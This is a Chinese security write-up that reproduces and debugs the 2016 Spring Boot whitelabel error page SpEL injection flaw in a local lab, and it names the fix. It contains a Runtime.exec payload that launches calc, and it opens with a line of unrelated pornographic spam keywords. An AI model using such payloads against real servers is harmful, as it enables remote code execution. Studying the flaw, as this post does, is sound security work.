免费A级毛片无码专区网站-成人国产精品视频一区二区-啊 日出水了 用力乖乖在线-国产黑色丝袜在线观看下-天天操美女夜夜操美女-日韩网站在线观看中文字幕-AV高清hd片XXX国产-亚洲av中文字字幕乱码综合-搬开女人下面使劲插视频

SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

前言這是2016年的一個(gè)洞,利用條件是至少知道一個(gè)觸發(fā) springboot 默認(rèn)錯(cuò)誤頁(yè)面的接口及參數(shù)名 。
影響版本:1.1.0-1.1.121.2.0-1.2.71.3.0
修復(fù)方案:升級(jí)版本
環(huán)境搭建【SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析】下載鏈接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
用idea打開之后配置一下,如下圖:

SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
然后啟動(dòng)訪問(wèn)出現(xiàn)如下頁(yè)面,代表搭建成功 。
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
漏洞復(fù)現(xiàn)訪問(wèn):http://localhost:9091/article?id=${9*9},可以發(fā)現(xiàn)${9*9}的SpEL表達(dá)式進(jìn)行了解析,隨后將該表達(dá)式的運(yùn)行的結(jié)果進(jìn)行了返回,如下圖 。
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
現(xiàn)在嘗試彈出計(jì)算器,訪問(wèn):http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
成功彈出,如下圖:
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
調(diào)試分析為什么會(huì)出現(xiàn)這情況呢,這是因?yàn)閟pringboot返回錯(cuò)誤頁(yè)面的時(shí)候提供了詳細(xì)信息,這些信息包括
錯(cuò)誤status("status"->500)、時(shí)間戳("timestamp"->"Fri Dec.....")、錯(cuò)誤信息("error"->"Internal Server Error")、和用戶輸入的參數(shù)("message"->"test"),然后后端渲染視圖時(shí),會(huì)解析錯(cuò)誤模板中的參數(shù)名 。然后拿到對(duì)應(yīng)的參數(shù)值,通過(guò)函數(shù)檢查參數(shù)值中是否存在${},如果存在則去除,然后傳入SpEL引擎進(jìn)行解析 。模板內(nèi)容如下所示:
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status})</div><div>${message}</div></body></html>程序會(huì)判斷模板中每個(gè)${}的位置,然后將參數(shù)名一個(gè)一個(gè)取出來(lái)后傳入spel引擎,解析參數(shù)名對(duì)應(yīng)的值 。這里就是漏洞的觸發(fā)點(diǎn),假如我輸入${payload},spel取出來(lái)payload后進(jìn)行解析,然后觸發(fā)漏洞 。觸發(fā)點(diǎn)如下:
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
瀏覽器訪問(wèn)http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))},現(xiàn)在開始調(diào)試,首先會(huì)將map的值傳入,context的rootObject中,之后以this.templatethis.resolver為參數(shù)調(diào)用replacePlaceholders方法,如下圖:
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
this.template的內(nèi)容就是上文的錯(cuò)誤模板,跟進(jìn)replacePlaceholders方法 ,進(jìn)入PropertyPlaceholderHelper文件 。
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
繼續(xù)跟進(jìn)parseStringValue方法
SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖

SpringBoot框架SpEL表達(dá)式注入漏洞復(fù)現(xiàn)與原理分析

文章插圖
分析一下代碼,首先StringBuilder將strVal轉(zhuǎn)為字符串,并賦值給result,接著判斷result中${}位置,結(jié)果為157、168,然后通過(guò)substring截取157和168的中間值,并賦值給placeholder,本次的值為"timestamp",然后將placeholder作為第一個(gè)參數(shù),再次調(diào)用本方法 。結(jié)果如下圖:

經(jīng)驗(yàn)總結(jié)擴(kuò)展閱讀